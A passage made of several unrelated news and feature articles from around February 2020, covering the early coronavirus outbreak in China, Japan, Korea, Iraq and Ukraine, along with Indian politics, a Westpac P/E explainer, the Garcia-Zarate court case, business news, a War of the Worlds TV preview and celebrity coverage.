cities nationwide, have started to pay off. Chinese President Xi Jinping spoke by phone about the virus with leaders in South Korea and Pakistan, state news agency Xinhua said. South Korean President Moon Jae-in "chose to call to express sympathies and support" regarding the outbreak, Xinhua said. Xi told him the epidemic's impact on bilateral ties will only be temporary. Xi told Pakistani Prime Minister Imran Khan that their two countries "are true friends and good brothers," and that combating the virus is his government's top priority. At a special meeting on the virus with Southeast Asian countries in Laos, China's Foreign Minister Wang Yi said results "show that our control efforts are working." Although more than 600 new infections were reported Thursday in Hubei's capital Wuhan, it was the lowest daily tally since late January and well down from the 1,749 new cases the day before. The national figure has fallen for three straight days. Chinese authorities placed the city of 11 million under quarantine on January 23 and quickly locked down the rest of the province in the days that followed. Wuhan authorities this week carried out door-to-door checks on residents, with the local Communist Party chief warning that officials would be "held accountable" if any infections were missed. Cities far from the epicentre have limited the number of people who can leave their homes for groceries, while rural villages have sealed off access to outsiders. - 'Chaotic' cruise quarantine - In Japan, critics slammed the government's quarantine measures imposed on the Diamond Princess. The huge vessel moored in Yokohama is the biggest coronavirus cluster outside the Chinese epicentre, with 634 cases confirmed among passengers and crew. Another 13 people on board the ship were diagnosed with the virus Thursday, Japan's health ministry said. Still, passengers were disembarking after negative tests and having completed a 14-day quarantine period -- packing into yellow buses and leaving for stations and airports. An infectious diseases specialist at Kobe University slammed the quarantine procedures on board as "completely chaotic" in rare criticism from a Japanese academic. "The cruise ship was completely inadequate in terms of infection control," said Kentaro Iwata in videos he has since deleted. South Korea, meanwhile, announced 51 new cases, with more than 40 in a cluster centred on the Shincheonji Church of Jesus, an entity often seen as a cult. The infections apparently came from a 61-year-old woman who first developed a fever on February 10 and attended at least four services before being diagnosed. Authorities were investigating whether she visited a hospital where a long-term patient contracted the virus and later died. - Growing concern abroad - Beyond Asia, citizen backlash was growing over fears of contagion. Iraq on Thursday clamped down on travel to and from neighboring Iran, with Iraq's health ministry announcing people in Iran were barred from entering the country "until further notice." The move came after Iran confirmed three new coronavirus cases following the deaths of two elderly men. And in Ukraine, a crowd clashed with police outside a hospital over government plans to quarantine evacuees from coronavirus-hit China at the site. Six buses with the evacuees arrived at the medical center in Novi Sanzhary, in the central Poltava region, escorted by police. Angry demonstrators lit fires and pelted the buses with rocks, breaking at least three windows. Because of the virus outbreak, airlines operating in the Asia-Pacific region stand to lose a combined $27.8 billion of revenue, the International Air Transport Association said. This is the first time since 2003 that demand for air travel has declined, IATA CEO Alexandre de Juniac said. burs-lth/ch/acb Restaurant workers in protective clothing prepare to sell food outside their Beijing restaurant Map showing confirmed cases of the 2019 Novel Coronavirus around mainland China, Hong Kong, Macau and Taiwan, as of Feb 20. A street vendor hawks protective face masks in Tehran, as more cases of the new coronavirus are reported in the Islamic Republic Police officers wearing protective face masks ride horses through the snow to visit residents of remote Altay in China's Xinjiang region and promote awareness of the novel coronavirus Residents stand behind a quarantine checkpoint in the Son Loi commune in Vinh Phuc province in Vietnam Police in Ukraine had to protect buses carrying evacuees from coronavirus-hit China from protesters as they drove to a medical facility in Novi Sanzhary Airlines operating in the Asia-Pacific region stand to lose $27.8 billion of revenue due to the virus outbreak, the International Air Transport Association said New Delhi, Feb 21 : The Congress on Friday took up RSS chief Mohan Bhagwat's recent remarks on 'nationalism' and attacked the BJP -- which came to power in 2014 on this plank -- for "distancing" itself from it. "Had they (BJP-RSS) understood of Mahatma Gandhi's nationalism, then this day would not have come," said Congress national media in-charge Randeep Surjewala in a video statement. His remarks were in response to Bhagwat's comments at an event in Ranchi where the RSS chief said people should desist from using the word "nationalism" as it has connotations of "Hitler and nazism". "Do not use the word 'Nationalism'. Use 'national', 'nationality', 'nation'. The meaning of 'nationalism' is Hitler, nazism and fascism. The aim of the Sangh is to boost patriotism," Bhagwat had said. "Dear Mohan Bhagwat-ji, today the Sangh (RSS) and the BJP have distanced themselves from nationalism. Now you are saying the meaning of nationalism is Hitler and Nazism," Surjewala said. "But had the BJP and the Sangh (RSS) understood nationalism of Mahatma Gandhi, then this day would not have come," he added. "Gandhi's nationalism is inclusive, based on love, taking all religions and castes together and uniting the entire country," he said. Surjewala, who is also the spokesperson for the Congress, said: "Hope, BJP, RSS and Modi ji understood the nationalism of Gandhiji." Latest updates on Howdy Modi Houston Today, we'll introduce the concept of the P/E ratio for those who are learning about investing. We'll show how you can use Westpac Banking Corporation's (ASX:WBC) P/E ratio to inform your assessment of the investment opportunity. Westpac Banking has a price to earnings ratio of 13.14, based on the last twelve months. That means that at current prices, buyers pay A$13.14 for every A$1 in trailing yearly profits. Check out our latest analysis for Westpac Banking How Do I Calculate Westpac Banking's Price To Earnings Ratio? The formula for price to earnings is: Price to Earnings Ratio = Share Price Earnings per Share (EPS) Or for Westpac Banking: P/E of 13.14 = AUD25.81 AUD1.96 (Based on the year to September 2019.) Is A High Price-to-Earnings Ratio Good? The higher the P/E ratio, the higher the price tag of a business, relative to its trailing earnings. That is not a good or a bad thing per se, but a high P/E does imply buyers are optimistic about the future. How Does Westpac Banking's P/E Ratio Compare To Its Peers? The P/E ratio indicates whether the market has higher or lower expectations of a company. You can see in the image below that the average P/E (12.2) for companies in the banks industry is lower than Westpac Banking's P/E. ASX:WBC Price Estimation Relative to Market, February 21st 2020 Westpac Banking's P/E tells us that market participants think the company will perform better than its industry peers, going forward. The market is optimistic about the future, but that doesn't guarantee future growth. So investors should delve deeper. I like to check if company insiders have been buying or selling. How Growth Rates Impact P/E Ratios When earnings fall, the 'E' decreases, over time. That means even if the current P/E is low, it will increase over time if the share price stays flat. So while a stock may look cheap based on past earnings, it could be expensive based on future earnings. Westpac Banking shrunk earnings per share by 17% over the last year. And over the longer term (5 years) earnings per share have decreased 4.1% annually. This growth rate might warrant a below average P/E ratio. Story continues Remember: P/E Ratios Don't Consider The Balance Sheet One drawback of using a P/E ratio is that it considers market capitalization, but not the balance sheet. So it won't reflect the advantage of cash, or disadvantage of debt. The exact same company would hypothetically deserve a higher P/E ratio if it had a strong balance sheet, than if it had a weak one with lots of debt, because a cashed up company can spend on growth. Such expenditure might be good or bad, in the long term, but the point here is that the balance sheet is not reflected by this ratio. Is Debt Impacting Westpac Banking's P/E? Net debt totals a substantial 176% of Westpac Banking's market cap. This level of debt justifies a relatively low P/E, so remain cognizant of the debt, if you're comparing it to other stocks. The Verdict On Westpac Banking's P/E Ratio Westpac Banking has a P/E of 13.1. That's below the average in the AU market, which is 18.6. When you consider that the company has significant debt, and didn't grow EPS last year, it isn't surprising that the market has muted expectations. Investors should be looking to buy stocks that the market is wrong about. As value investor Benjamin Graham famously said, 'In the short run, the market is a voting machine but in the long run, it is a weighing machine. So this free visualization of the analyst consensus on future earnings could help you make the right decision about whether to buy, sell, or hold. Of course, you might find a fantastic investment by looking at a few good candidates. So take a peek at this free list of companies with modest (or no) debt, trading on a P/E below 20. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Jose Inez Garcia-Zarate (pictured) could be placed in a mental health facility if he's found incompetent to stand in a second psychiatric evaluation An illegal immigrant who was acquitted of murdering a woman on a California pier may be placed in a mental health facility after an evaluation found he was unfit to stand trial. Jose Inez Garcia-Zarate, 48, has been ordered to undergo a second mental evaluation to officially determine the next course of action. Last week, a U.S. District judge said Garcia-Zarate was not fit to stand trial for illegally possessing a firearm 'because of mental illness that is not presently being treated.' He was accused of shooting dead 32-year-old Kate Steinle in the back as she walked along Pier 40 with her father and a family friend in San Francisco in 2015. Kate Steinle (pictured) was fatally shot in the back while walking with her father and family friend along Pier 40 in July 2015 in San Francisco, California He was convicted of a single charge of being a felon in possession of a gun in 2017, but the ruling was overturned in August 2019 by a California state appeals court. The 1st District Court of Appeal argued that the presiding judge failed to give the jury the option of acquitting Garcia-Zarate on the theory he only possessed the weapon for a moment. On Thursday, it was announced that Garcia-Zarate would undergo a second mental health evaluation and that he was 'likely to be restored to competency' if he resumed taking his medication. Garcia- Zarate (right), pictured with his public defender, was convicted of illegally possessing a weapon as a felon The San Francisco Chronicle reports that U.S. District Judge Vince Chhabria said he does not believe he can force Garcia-Zarate, who has been in federal custody for three years, to take his medication. Chhabria also said Garcia-Zarate apparently does not believe he had been previously medicated. Garcia-Zarate's lawyers believe he is already fit to stand trial, but say that if medical professionals 'determined that medication is what he needs, were all for that.' The new evaluation is scheduled to happen in the next 30 to 45 days. If Garcia-Zarate is found no competent to stand trial, he could potentially be held permanently in a mental institution run by the U.S. Bureau of Prisons. The death of Steinle, which embroiled the nation in a contested immigration debate that evoked a strong response from President Donald Trump, happened in July 2015. Trump has since said he will deploy law enforcement tactical units to sanctuary cities in an effort to curb illegal immigration. At that time, Garcia-Zarate had already been deported from the U.S. five times to Mexico and had just finished serving a nearly four-year federal prison sentence for illegal re-entry. Immigration officials sent him to San Francisco to face a marijuana charge, but it was dropped by local prosecutors and he was released from custody due to the city's sanctuary policy. Public outraged sparked when a California jury acquitted Garcia-Zarate of both murder and manslaughter in Steinle's death The policy limits local authorities' cooperation with federal immigration agents. According to Garcia-Zarate, he unintentionally picked up a gun wrapped in a t-shirt and accidentally fired the weapon. The bullet ricocheted off a concrete walkway and struck Steinle, who was with her dad and a family friend. His lawyers say that the gun was actually stolen from a federal agent's car by an unidentified person and did not belong to Garcia-Zarate. Two years later, a Superior Court jury would acquit him of murder and manslaughter charges, but hold him accountable for the weapon charge. In January 2019, Chhabria said Garcia-Zatara had previously been diagnosed with schizophrenia during a 2009 criminal proceeding in Texas and was prosecuted only after receiving medical treatment. He also said Garcia-Zarate was given medication while he was held at the Glenn Dyer Jail in Oakland, but the treatment was 'inexplicably terminated' when he was transferred to the Santa Rita Jail. President Trump tweeted that the verdict was 'a complete travesty of justice' and linked the result to what he called America's ''weakly protected Obama border' President Donald Trump joined a group of politicians and right-wing commentators outraged after the Mexican illegal immigrant who admitted to shooting Kate Steinle in the back while she was walking with her father on a San Francisco pier was found not guilty of second-degree murder The California court's handling of the high-profile case enraged several politicians and supporters of restricted immigration supporters. Trump shared a series of November 2017 tweets after Garcia-Zarate's verdict was announced, calling it 'a complete travesty of justice.' In his tweets he drew a direct correlation to Steinle's death and Garcia-Zarate's appearance in the U.S. to a 'weakly protected Obama border.' 'The Kate Steinle killer came back and back over the weakly protected Obama border, always committing crimes and being violent, and yet this info was not used in court. His exoneration is a complete travesty of justice. BUILD THE WALL,' he wrote. 'The jury was not told the killer of Kate was a 7 time felon. The Schumer/Pelosi Democrats are so weak on Crime that they will pay a big price in the 2018 and 2020 Elections. 'A disgraceful verdict on the Kate Steinle case! No wonder the people of our Country are so angry with Illegal Immigration.' Trump's eldest son, Don Jr., also weighed in on the verdict and echoed his father's sentiments. He wrote: 'What a disgrace. Dont let the rest of the country become California. If this isnt a wake call up (sic) to reasonable and law abiding people I dont know what is.' 'Liberals...and the general lack of common sense so prevalent amongst them.' 'What a disgrace,' the president's oldest son tweeted late Thursday night after attending the White House tree lighting ceremony Donald Trump Jr. also blamed the verdict on democrats. Responding to a question Charlie Kirk posed in a tweet about how 'an illegal alien can kill someone and walk away,' Don Jr responded 'Liberals... and the general lack of common sense so prevalent amongst them' However, public defender Matt Gonzalez said the jury's verdict should hold. 'This jury's verdict should be respected,' Gonzalez said. Sanctuary Cities The Center for Immigration Studies identified 10 states that are considered sanctuary cities, including: California, Colorado, Connecticut, Illinois, Massachusetts, New Jersey, New Mexico, New York, Oregon and Vermont. Of all the states, Oregon has the most sanctuary cities and totals to more than 30 locations. These cities, counties, and states have laws, ordinances, regulations, resolutions, policies, or other practices that obstruct immigration enforcement and shield criminals from ICE,' the organization wrote. 'Either by refusing to or prohibiting agencies from complying with ICE detainers, imposing unreasonable conditions on detainer acceptance, denying ICE access to interview incarcerated aliens, or otherwise impeding communication or information exchanges between their personnel and federal immigration officers.' Trump has long blasted sanctuary cities for their push back against ICE and federal efforts. Since coming into office, Trump has attempted to curb sanctuary cities immigration policies and, in his latest effort, will be deploying SWAT like personnel to several cities. Advertisement 'They heard the evidence, they deliberated as a group, they heard read-back testimony, they looked at the physical evidence, and they rendered a verdict to the best of their abilities in accordance with the law.' Gonzalez took aim at Trump during his remarks, reminding the president that he was also under federal investigation and deserves the same due process. This month, the Trump administration announced that they would be deploying law enforcement tactical units from the southern border to sanctuary cities in his latest efforts to punish local governments that refuse to cooperate with immigration enforcement. The law enforcement tactical units will be sent to several cities, including New York and Chicago, is an effort to boost the localized power of ICE. Agents are also expected to be sent to San Francisco, Los Angeles, Houston, Boston, Atlanta, New Orleans, Detroit and Newark, New Jersey, the New York Times reports. This announcement comes after the Department of Justice and the Department of Homeland Security said they would enact a series of measures that would impact other immigrants and American citizens in those areas. The teams will be deployed from February to May, and will include agents from BORTAC the tactical unit the U.S. Border Patrol that is equivalent to a SWAT team. Gil Kerlikowske, a former commissioner of the CBP said Trumps new policy could spark unnecessary tensions and was a significant mistake. He said: If you were a police chief and you were going to make an apprehension for a relatively minor offense, you dont send the SWAT team. And BORTAC is the SWAT team. MMPCs decision to transfer some of its employees to BGC will make us more accessible to our dealer and business partners now that we are located in the central business district of the metro, said Mr. Alvin Dalida, Sales and Marketing First Vice President. Growth often means expansion, and this is no different for Mitsubishi Motor Philippines, Corp. (MMPC). Recently, they have moved into their new home in Metro Manila that houses their personnel from Sales and Marketing, Government Affairs, Service, Parts and Accessories and Finance. These key departments now conduct MMPCs business from within the countrys premiere business district. With its new office, MMPC also adopted similar policies from its mother company in Japan, Mitsubishi Motors Corporation (MMC), that will enhance and improve the productivity and mobility of the company. Previously, Mitsubishi Motors Philippines Corporation was headquartered along Ortigas Extension in Cainta, Rizal. They made the move to Sta. Rosa, Laguna when they acquired the former Ford Philippines assembly plant there. The Sta Rosa, Laguna factory assembles the Mitsubishi Mirage, Mirage G4, as well as the Mitsubishi L300 for local sales and for export in the future. MMPCs BGC office is located on the 21st Floor, EcoTower Building, 32nd cor. 9th St., Bonifacio Global City, Taguig City. The new Mitsubishi office is actually the previous space occupied by Nissan Philippines, Inc. (NPI) after the latter moved to a larger office in a new building about a block away. The move is likely in line with the Renault Nissan Mitsubishi Alliance pursuing more synergies and working more closely together in sharing resources and facilities. KAMPALA A London-based private equity firm, ARCH Emerging Markets Partners Limited, intends to invest upwards of 30 million dollars in end-to-end cold storage and transportation value chain in Uganda. The firm plans to build and operate temperature-controlled warehouses and logistics facilities in Uganda with financing from South Africas state-owned Industrial Development Corporation (IDC), a self-financing development finance institution. The cold storage chain would be linked to similar facilities across the East African Community. An ARCH-IDC delegation led by Jared Irving, ARCHs Managing Director for Africa, and Tony Kuna, IDCs Project Development Manager, have today held a roundtable discussion with officials from Uganda Investment Authority (UIA), Uganda National Oil Company (UNOC), Ministry of Agriculture, Animal Industry and Fisheries (MAAIF) and Uganda Agribusiness Alliance. The meeting took place at the UIA headquarters in Kampala. According to Irving, the cold storage facilities would be in the range of 5,000 to 15,000 square metres targeting products like beef, poultry, seafood, dairy, vegetables, flowers, other agricultural products, oil products, and pharmaceuticals, amongst others. The cold chain facilities would be located at, amongst other locations, the Kampala Industrial and Business Park in Namanve and Kabaale Industrial Park in Kikuube District targeting the Lake Albert Basin. According to their research, the East African market suffers from significant food losses of 40 percent on average and up to 60 percent in certain product categories. It is estimated that up to 94 percent of these losses are as a result of a lack of or inadequate cold chain solutions, namely storage and logistics. UIAs Director for Investment Promotion and Development, Sheila Karungi Mugyenzi, briefed the delegation on Ugandas investment environment, highlighting the role of UIA, the state of industrial parks development, operations of the One-Stop Centre for Investors and the incentives regime, amongst others. Related Continue Reading Iraq closes Iran border amid virus outbreak Imports from Iran will continue to be allowed entry at the border crossings. Iraq banned border crossings by Iranian nationals for three days from Thursday amid fears of the coronavirus, Iraqs state news agency said on Thursday. The decision came after Iraqi Airways suspended flights to Iran. THE DECISION WILL BE VALID UNTIL FURTHER NOTICE Three Iranians who tested positive on Wednesday for the disease have died, while four tested positive on Thursday, taking the total number of confirmed cases in Iran to seven, the Iranian health ministry said. Earlier, Iraqi authorities decided to suspend issuing visas to Iranians after Tehran confirmed the two coronavirus deaths on Wednesday. Local Iraqi media reported that the Health Ministry has decided to prevent Iranian citizens from entering the country until further notice. The death toll in China from the coronavirus outbreak has risen to 2,120, the countrys National Health Commission said Thursday. In a first, the film production house, YashRaj Films (YRF), has been ordered by the National Consumer Disputes Redressal Commission (NCDRC) to compensate a moviegoer for editing out a song Jabra Fan, which was used to promote Shah Rukh Khan-starrer Fan on television (TV). Afreen Fatima Zaidi, 32, a teacher from Aurangabad, Maharashtra, has been awarded Rs10,000 and 5,000 by the NCDRC as compensation and litigation costs, respectively, after she had complained against YRF in 2016 as she felt cheated to find that Jabra Fan was not used in Fan, despite it having been used to promote the movie. Zaidi said her children were excited when they watched the song on TV during the films promotions and wanted to see the superstar in his new avatar. Although I wanted them to watch The Jungle Book, they requested me to let them have a feel of Fan. But, they were disappointed when the song never appeared during the film. I felt cheated and decided to lodge a complaint in the district forum. My case was dismissed as the district forum was unsure if I qualify as a consumer . Then, I moved the Maharashtra Consumer Commission, which ruled in my favour in 2017. They directed YRF to pay me a sum of 15,000. Te production house challenged the verdict and moved the NCDRC. They, too, ruled in my favour. I believe every film should come with a disclaimer, said Zaidi, whose husband Zishan, a lawyer, and his colleague, Saud Deshmukh, fought the case. We are happy that we have got the order in our favour and it is the responsibility of YRF to accept their mistake and give the compensation to us. It took us four years to get the compensation ... We must have spent around 80,000 on this case, including travelling, litigation costs and other miscellaneous expenses, said Zaidi. NCDRC presiding member, VK, Jain said, Whats the logic behind including the song in the promo but excluding it while exhibiting the movie. On whether this case would set a precedent, Jain said, We plan to treat this on a case to case basis. However, in this case, we felt that the consumer was cheated. Vishal Dadlani, who composed the song along with Shekhar Ravjianii, said, The song was never meant to be in the film and had nothing to do with the narrative. It was composed to promote the film. Perhaps, the lesson here is that if one wishes to have a song to promote a film, the filmmaker may have to carry a foolproof disclaimer. YRF refused to comment on the matter. With inputs from Dheeraj Bengrut You wait aeons for a new TV adaptation of HG Wells classic sci-fi novel The War Of The Worlds, and then two come along almost at once. But then great literature is always being re-imagined for new audiences, mined for a deeper meaning about the human condition. And after years of Brexit division, climate change fears and a general pessimistic narrative that the whole world is going to pot, perhaps its unsurprising that a second version of the apocalyptic thriller, to air on cable channel Fox, is being unveiled just a few months after a BBC1 series, as Nicole Lampert reveals... Cable channel Fox is set to debut a new adaptation of HG Wells sci-fi novel The War Of The Worlds, set in modern-day Britain and France, pictured A STORY THAT TAPS INTO OUR FEARS The War Of The Worlds has always channelled the cultural unease of the day. HG Wells had colonialism on his mind when he wrote it in 1897, saying the idea of a Martian invasion came from a discussion about the catastrophic effect of British rule on indigenous Australians. The War Of The Worlds sparked panic in America when Orson Welles (pictured) performed it as a radio play in 1938 It made him wonder, What if Martians did to Britain what Britain has done to the Australians? When Orson Welles performed it as a radio play in 1938 famously causing mass panic across America, with listeners believing there was a genuine Martian invasion the backdrop was the fear of another war in Europe, while Steven Spielbergs 2005 film used images that evoked 9/11. I wanted to explore the idea that just like Wells aliens, mankind has an almost limitless capacity to destroy those it views as inferior or different, says Howard Overman, creator of the new series. When I was writing it we were a very divided country. 'So I was interested in this idea of difference, and we will learn that maybe were not so different from the aliens. 'The heightened circumstances of a planet under attack also lends itself to exploring the universal themes of love, hope, courage, prejudice, blame and accountability. Steven Spielbergs 2005 film adaptation starring Tom Cruise used images that evoked 9/11 SO WHOS WHO? In London theres neuroscientist Bill Ward (Gabriel Byrne), whos still in love with his estranged wife Helen Brown (Elizabeth McGovern). His journey is twofold, says Gabriel. From a scientific point of view its to try to decipher these signals, while his emotional journey is to try to reconcile with his wife. As Bill and Helen search for their son, they meet hospital worker Ash Daniel (Aaron Hefferman) and team up to survive. Then theres Sarah Gresham (Natasha Little) and her children Emily (Daisy Edgar-Jones) and Tom (David Tennants adopted son Ty). If it wasnt for her children, Sarah would give up, says Natasha, who first found fame in This Life. Natasha Little stars as Sarah alongside Daisy Edgar-Jones as her daughter Emily In London theres neuroscientist Bill Ward (Gabriel Byrne), left, whos still in love with his estranged wife Helen Brown (Elizabeth McGovern), right But the lioness in her has to rise up and she finds these wells of strength. Sarahs daughter Emily (pictured above, with Sarah) has Stargadts Disease, which means she only has peripheral vision. But her other senses compensate, and she finds that she can feel and hear the aliens before anyone else. CGI STRUGGLES The computer-generated aliens resemble dog-like metal structures, and are unlike any aliens weve seen before. Theyre beautiful, says Stephanie Caillard. Theyve gone for a nice aesthetic. Not that the actors got much chance to admire them as they were created after filming had finished with the help of green screens and the magic of CGI. I have a new respect for all those actors who do Marvel movies, says Natasha Little. You really have to use your imagination. Although wed been shown models, we didnt know what the aliens would look like so we usually had to work with a tennis ball on a stick. Aliens in the new adaptation were created after filming had finished, using green screens and CGI (pictured) Advertisement Emily experiences the world slightly differently to others, says Daisy. She has to rely on others, but because she has to trust people she can get to the heart of whether someone is good or not quite quickly. They befriend refugee Kariem (Bayo Gbadamosi). Hes someone they may not have talked to before, but hes much more equipped to survive, says Natasha. He also shows more compassion than Sarah. 'The social structures were used to disappear in this world. We all think were decent but new things can bring out the best and worst of human nature. In France, astronomer Catherine Durand (Lea Drucker) and the military unit with her, led by Colonel Mustafa Mokrani (Adel Bencherif), are trying to work out what the aliens want and how to destroy them. Catherine is a loner whos not very open to her emotions and is suddenly overwhelmed by this situation, says Lea. She has to navigate difficult relationships as life becomes extremely tense and extremely passionate. We also meet Chloe Dumont (Stephanie Caillard) and her brother Noah (Guillaume Gouix). I think people will be surprised by the realism in the show, says Stephanie. Its about people and loneliness.' TWO VERY DIFFERENT LOCATIONS There were two separate production teams working on the British and French storylines. British teams working on the series filmed inside a disused Tube station near Charing Cross The French team were based in the Alps, pictured. The two units came together for the interiors scenes, however, which were mostly filmed at a former Carlsberg warehouse in Wales WHAT MAKES THIS SERIES DIFFERENT Like last years BBC version, this Fox series takes the basic premise of the novel and rockets off with it. It uses no original characters nor much of the plot, but the heart of it remains: against a superior alien force, humans must unite to survive. Ours is a unique version, says Elizabeth McGovern. This needed to be made it helps us look at the time were living in. With the climate crisis, were facing the end of life as we know it. 'A more powerful enemy reminds us were all on one planet. The things dividing us are irrelevant. Unlike the BBC version, which was set in HG Wells Edwardian England, this one takes place in modern-day Britain and France. After signs of alien activity are detected in the Alps, within hours Earths communication systems have been wiped out and most of the population killed by a magnetic signal. Only those encased in metal or underground survive. This is a story about real people with real problems who just happen to be contending with aliens, adds Elizabeth. That throws their problems into a glaring light. Advertisement There were two separate production teams working on the British and French storylines. The British team filmed in a disused Tube station near Charing Cross, as well as in Bristol and Cardiff town centres, while the French were based in the Alps. The French cast definitely had a better deal, says Natasha Little. We had a lot of car parks and underground bunkers to film in, they got the Alps. We had cold dark stuff while they had ski lifts and mountains! The two units came together for the interiors scenes, however, which were mostly filmed at a former Carlsberg warehouse in Newport, Wales. It was winter when we were in Wales so we had to battle the weather, the cold and the rain, says Gabriel Byrne. The studios were cold, but then that suits the story because all the electrical power has gone. It helped to be in an environment thats not conducive to comfort. Although in the same location, the two casts would only meet in the catering hall, where theyd wind each other up. Wed hear things from the director like, The French cast are perfect, nailing every scene, to push us along, recalls Natasha Little. War Of The Worlds, Thursday 5 March, 9pm, Fox. President Volodymyr Zelensky urged people to show solidarity and remember "we are all human". Protesters in Novi Sanzhary hurled stones at the buses carrying evacuees Dozens of protesters in a Ukrainian town have attacked buses carrying evacuees from coronavirus-hit China. The evacuees were brought to a health spa in Novi Sanzhary, in the central Poltava region, where they will be held in quarantine for 14 days. President Volodymyr Zelensky urged the protesters to show empathy. Ukraine's security service (SBU) said a fake email claiming to be from the health ministry falsely said some evacuees had contracted the virus. SBU officials are now investigating the apparent hoax, a statement said. Ukraine has no confirmed cases of the new coronavirus, which originated last year in China's Hubei province. To show solidarity with the evacuees, Ukraine's Health Minister Zoryana Skaletska said she would be joining them in quarantine and would run her ministry by Skype. "I hope that my presence there will calm those in Novi Sanzhary, as well as the rest of the country," she wrote in a Facebook post (in Ukrainian). What happened in Novy Sanzhary? On Thursday, 45 Ukrainians and 27 foreign nationals were flown from Wuhan in China, the epicentre of the deadly outbreak, to Kharkiv in eastern Ukraine. Six buses then drove them to the health spa in Novi Sanzhary, where they were met by demonstrators lighting bonfires and hurling stones. Armoured personnel carriers were seen deployed in the small town. After a tense stand-off, police and the national guard manage to unblock the road to the building where the evacuees would be spending 14 days. The country's health ministry said none of the passengers were sick. Ukraine's diplomatic mission added that three Ukrainians and a resident of Kazakhstan had been left behind in China, because they had reported having a fever. Prime Minister Oleksiy Honcharuk, Health Minister Zoryana Skaletska and Interior Minister Arsen Avakov all travelled to the city to try and calm tensions. In footage published by local media, Mr Avakov was seen telling the protesters: "We are not talking about infected people, we are talking about healthy people." One person then replied: "So far." What did President Zelensky say? In a statement, President Zelensky urged Ukrainians to show compassion and refrain from protesting. "Most of the passengers are people under 30. They are almost like children to many of us," he said. "But there is another danger that I would like to mention. The danger of forgetting that we are all human and we are all Ukrainians. Each of us - including those who ended up in Wuhan during the epidemic." More than 76,000 cases of the disease named Covid-19 have been reported, and 2,247 related deaths. The vast majority of the cases and deaths have been in China. BBC Barbara Bush looked chic in a fur-trimmed coat and a cozy sweater dress as she checked out of a hotel in New York City on Friday ahead of the weekend. The 38-year-old, who is pursuing a master's degree at Harvard University, returned to her old stomping ground for a visit after moving from the Big Apple to Boston with her husband, screenwriter Craig Coyne, to attend graduate school. The former first daughter was seen leaving the hotel with a backpack, a crossbody purse, and a carry-on suitcase, which she rolled behind her. Heading out: Barbara Bush, 38, was bundled up in a black wool coat with a fur collar when she checked out of a New York City hotel on Friday On the go: Barbara, who looked stylish in a ribbed sweater dress and slouchy boots, was seen leaving the hotel with a backpack, a crossbody purse, and a carry-on suitcase Barbara was bundled up in a black wool coat with a fur collar that she wore over a brown-ribbed sweater dress with a chunky turtleneck. She topped off the stylish winter look with a pair of black slouchy high boots. The graduate student had her dark hair pulled back into an unfussy low-ponytail, and she looked fresh-faced as she headed out with her cellphone in her hand. Barbara returned to school this past fall to become a fellow at Harvards Center for Public Leadership 15 years after she graduated from Yale University with a degree in humanities in 2004. It's unclear if she was heading back to Boston or going to spend the weekend with her twin sister, Today host Jenna Bush Hager. Big move: Barbara and her husband, screenwriter Craig Coyne, moved to Boston over the summer so she could attend graduate school at Harvard University Barbara's non-profit, Global Health Corps, is headquartered in New York City, and before she and Craig moved to Boston over the summer, she and her sister lived just four blocks apart. In November, she told People that she travels from Boston to her old home about once every six weeks so she can see her sister and spend time with her nieces, Mila and Poppy, and baby nephew, Hal. Barbara and Craig wed in October 2019 during a small ceremony that was held at her family's compound in Kennebunkport, Maine, so her grandfather, former President George H.W. Bush, could attend before he died. The couple had a second, more boisterous wedding celebration at Prairie Chapel Ranch, her parents' home in Texas. Sisters first: Barbara travels from Boston to New York City about once every six weeks to visit her twin sister, Today host Jenna Bush Hager All smiles: Barbara and Craig spent some quality time with her family including her nieces and nephew while in Texas over Christmas break Craig, who had lived in Los Angeles for the past 15 years, moved to New York City the week that they got married. She admitted that Boston 'just didn't seem in the cards' for them until she got accepted into graduate school. 'Were still getting to know Boston,' she told People. 'So its fun to explore and try new places, and we go on walks all the time to get to know our new neighborhood.' The two celebrated their one-year wedding anniversary in October 2019 with a date night at a Boston restaurant. 'It's fun to have a new adventure together in a city that neither of us had ever lived in,' she said. 'So were exploring somewhere new with our first year of marriage.' WOG gas stations are Ukraines largest and most recognisable gasoline brand. Following the death of Continuum Group of Companies founder, Ihor Yeremeyev in 2015, there were few who did not discuss the issues of possible bankruptcy of the green network of gas stations. The media were keen to comment on West Oil Group's debts to creditors and the company's conflict with the State Fiscal Service (SFS). Players in the oil market rubbed their hands at the thought of problems between the SFS and WOG, thinking theyd be able to pick up the competitors assets for a steal. Contrary to the gossip and the rumours, as of early 2020, the company continues to serve about 200 000 thousand customers daily; manage hundreds of gas stations throughout Ukraine; to maintain its development of WOG Market branded stores and WOG Cafe food outlets. Owner of the Continuum Group Ukraine (including WOG gas stations) Serhij Lahur and his partner Stepan Ivakhiv have indeed pulled their business empire out of crisis following the tragic death of Yeremeyev and breathed new life into it. Successful WOG Ukraine Projects In recent years, the WOG network under Continuum Ukraine leadership: Continues to enhance the quality control of their fuel; Maintains development on a network of cafes within their facilities; Has launched digital services in the PRIDE application. In August 2019, the Globus Petroleum liquefied gas quality control laboratory (Boryspil) awarded state accreditation for compliance with the requirements of updated standards DSTU ISO / IEC 17025:2017. West Oil Group continues to work with Globus Petroleum to provide customers with fuel that meets all national and international standards. We want to know that the quality of petroleum products and gas is checked in a laboratory that has the status and competence of the best-known international accredited research stations, - read a statement from the retailer upon receiving accreditation from Globus Petroleum. At the end of 2019, two important pieces of news about the development of the WOG Cafe network appeared: A trademark establishment in coffee shop format was opened in the new terminal of the Odesa Airport; The Ukrainian Railway High-Speed Company extended its agreement of the cafe's operation on Intercity and Intercity + trains until the end of January 2020. A similar agreement is expected to be signed shortly for a period of at least a few years to come. In August 2019, the green cafes received two awards from organisers of the 11th national Private Label-2019 Award for: Brand recognition; Project of the year under a private brand. By the way, a subsidiary of West Oil Group managed to win the Brand Recognition nomination due to the excellent taste of its coffee, as WOG Ukraine ensures that customers of their branded gas stations are provided only the highest quality coffee. To this end, in 2019, the company continued installing interactive premium FRANKE A1000 coffee machines at the brand's gas stations. The first 10 of these machines appeared at stations in Kyiv, Odesa and Lviv. In the first quarter of 2020, the purchase of a new batch of coffee equipment for gas stations in other regions is planned. WOG mobile application PRIDE continues to be the most progressive among the Ukrainian petroleum product trading market. In 2017, PRIDE users were the first in the country to be able to pay for fuel and 